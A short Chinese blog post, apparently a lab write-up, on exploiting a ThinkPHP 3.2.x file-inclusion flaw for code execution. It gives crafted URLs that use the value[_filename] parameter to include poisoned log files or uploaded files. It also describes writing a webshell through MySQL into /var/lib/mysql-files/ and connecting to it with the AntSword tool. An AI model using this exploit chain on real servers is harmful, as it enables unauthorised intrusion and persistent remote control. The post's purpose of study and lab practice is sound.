thinkphp3.2.x 代码执行

1.因为是靶场,所以没有waf之类的东西,也就不涉及到绕过,免杀之类的操作。

2.文中红色的字体是要注意根据实际情况写的。

3.mysql写shell的几种方法:https://blog.csdn.net/weixin_39872872/article/details/112589789

Log记录目录:
若开启debug模式日志会到:\Application\Runtime\Logs\Home\下
若未开启debug模式日志会到:\Application\Runtime\Logs\Common\下

访问页面时抓包,在url中构造含恶意代码的log文件

thinkphp的日志文件与日期有关。

http://url/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log

在phpinfo界面找到了密码(靶场环境,所以很简单)。

上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可。

http://url/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt

通过select global variables like '%secure%'; 语句查询到 secure_file_priv 在/var/lib/mysql-files/目录下可以写文件 通过sql语句直接写shell(实战的话应该要考虑到杀软之类的).

再通过thinkphp漏洞查看写入结果http://url/index.php?m=Home&c=Index&a=index&value[_filename]=/var/lib/mysql-files/shell.php(绝对路径?)

 

通过蚁剑连接

 



 

posted @ 2022-03-21 14:41  0justin0  阅读(415)  评论(0)    收藏  举报